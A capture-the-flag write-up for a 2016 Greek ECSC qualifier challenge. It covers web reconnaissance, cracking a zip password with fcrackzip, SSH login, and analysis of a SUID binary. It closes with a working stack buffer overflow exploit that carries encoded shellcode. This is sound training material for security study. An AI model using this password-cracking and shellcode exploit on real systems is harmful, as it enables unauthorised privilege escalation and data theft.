Category: Reverse Engineering
Note: You can download the Reverse Engineering Challenge, along with all the challenges for the 2016 Greek Qualifier CTF of European Cybersecurity Challenge, in this link. More details on the Greek ECSC 2016 Qualifier CTF event can be found here.
Points: 60
Challenge designer: Gavriil
Description: > SilkRoad is back. A vendor on the online marketplace Silk Road, learned that he was not as anonymous as he thought he was while facilitating transactions. In February of 2014, he was arrested by Department of Homeland agents and was subsequently charged with narcotics trafficking, gun theft, and counterfeiting related crimes. One of his friends though managed to escape arrest and had already created SilkRoad 3.0. A secret agent who is helping you, found out this suspicious IP Address (IP of the game). Your mission is to steal the litecoins (flag) he possesses which are located under his home directory. Agent is sure that he is user ulbricht of the host. Good luck!!!
Write-up
First, we try to connect to the http service (port 80) with the following result.
This does not indicate anything by itself so let’s take a look at the actual source code of the web page.
<html>
<title> Welcome to SilkRoad 2.0 </title>
<center><img src=”silk-road-logo.jpg”> </center>
<!– c2lsa3JvYWQudHh0== –>
</html>
Here is something interesting we have an HTML comment with a base64 encoded string, after we decode the string, we get silkroad.txt and after we try it within the browser, we get another directory /silkroad2.0/ with the following contents.
After we download the file, we see that the archive is password protected but after some brute force.
fcrackzip connect.zip –dictionary -u -p rockyou.txt
We got the password silkroad and decompress the archive resulting with a ConnectionDetails.txt with the following contents.
Username: silk
Password: <hidden>
So, we try to connect to the SSH service using the credentials we found earlier.
We notice that there is a SUID binary owned by user ulbricht – let’s analyze the file.
silk@silkroad:~$ ls -lah
total 32K
drwxr-xr-x 2 silk silk 4.0K Aug 28 15:34 .
drwxr-xr-x 4 root root 4.0K May 15 11:47 ..
-rw——- 1 silk silk 52 May 15 12:21 .bash_history
-rw-r–r– 1 silk silk 220 May 15 06:24 .bash_logout
-rw-r–r– 1 silk silk 3.5K May 15 06:24 .bashrc
-rwsr-xr-x 1 ulbricht ulbricht 5.4K May 15 11:52 buyLTC
-rw-r–r– 1 silk silk 675 May 15 06:24 .profile
silk@silkroad:~$ file buyLTC
buyLTC: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b5d681e2af95fa37fcb4805fd828edfc041959b2, not stripped
As we further analyze the binary we see that it has the No Execute flag on.
root@gateway:~# checksec buyLTC
[*] ‘/root/buyLTC’
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
At first, we thought that we need to actually create ROP chains to exploit any existing vulnerabilities but in the end that was not the case.
The system containing the ELF is not PAE|NX capable. We can verify this by issuing:
silk@silkroad:~$ grep ^flags /proc/cpuinfo | head -n1 | egrep –color=auto ‘ (pae|nx) ‘
Now that we know the protections deployed within the binary, we need to know what kind of functions it uses, included strings and the main entry point (debug symbols were present).
As we see there are some interesting strings:
root@gateway:~# strings ./buyLTC
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
strcpy
printf
atoi
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Total cost: %.2f euro
333333
;*2$”
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
buyLTC.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
printf@@GLIBC_2.0
convert
_edata
_fini
remove_bad_chars
strcpy@@GLIBC_2.0
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
__bss_start
main
_Jv_RegisterClasses
atoi@@GLIBC_2.0
__TMC_END__
_ITM_registerTMCloneTable
_init
We see that the binary uses strcpy (maybe vulnerable?) we see the main entry point, a very interesting function remove_bad_chars.
root@gateway:~# nm ./buyLTC
U atoi@@GLIBC_2.0
08049870 B __bss_start
08049870 b completed.6279
0804845b T convert
08049868 D __data_start
08049868 W data_start
080483a0 t deregister_tm_clones
08048410 t __do_global_dtors_aux
08049754 t __do_global_dtors_aux_fini_array_entry
0804986c D __dso_handle
0804975c d _DYNAMIC
08049870 D _edata
08049874 B _end
080485d4 T _fini
080485e8 R _fp_hw
08048430 t frame_dummy
08049750 t __frame_dummy_init_array_entry
0804874c r __FRAME_END__
08049848 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
080482d4 T _init
08049754 t __init_array_end
08049750 t __init_array_start
080485ec R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
08049758 d __JCR_END__
08049758 d __JCR_LIST__
w _Jv_RegisterClasses
080485d0 T __libc_csu_fini
08048560 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
080484f3 T main
U printf@@GLIBC_2.0
080483d0 t register_tm_clones
080484ab T remove_bad_chars
08048360 T _start
U strcpy@@GLIBC_2.0
08049870 D __TMC_END__
08048390 T __x86.get_pc_thunk.bx
Finally we can start by loading the binary to a debugger and check its logic. The actual code is minimal, it uses 2 functions remove_bad_chars and convert.
remove_bad_chars is used to filter one character in the input argument 0x41 (A in ascii table).
convert is used to copy the input argument to a new char array with size 0x218 then pass the result to atoi multiply it by 3.65 and return the result as a double.
We know that we have a Stack-based Buffer Overflow in argv[0] when the input is above 536 bytes, and we also know 0x41 is a bad character.
After some tries, we manage to rewrite the Extended Instruction Pointer at 544 bytes offset.
With the above knowledge we constructed our exploit:
/home/silk/buyLTC `python -c ‘print “\xda\xc4\xd9\x74\x24\xf4\x5d\xba\x52\x7c\xee\xef\x29\xc9\xb1\x0b\x31\x55\x1a\x03\x55\x1a\x83\xed\xfc\xe2\xa7\x16\xe5\xb7\xde\xb5\x9f\x2f\xcd\x5a\xe9\x57\x65\xb2\x9a\xff\x75\xa4\x73\x62\x1c\x5a\x05\x81\x8c\x4a\x1d\x46\x30\x8b\x31\x24\x59\xe5\x62\xdb\xf1\xf9\x2b\x48\x88\x1b\x1e\xee”+”\x90″*470+”\xe0\xf2\xff\xbf”‘`
The flag is: > Nice job mate!
# echo 7eamnull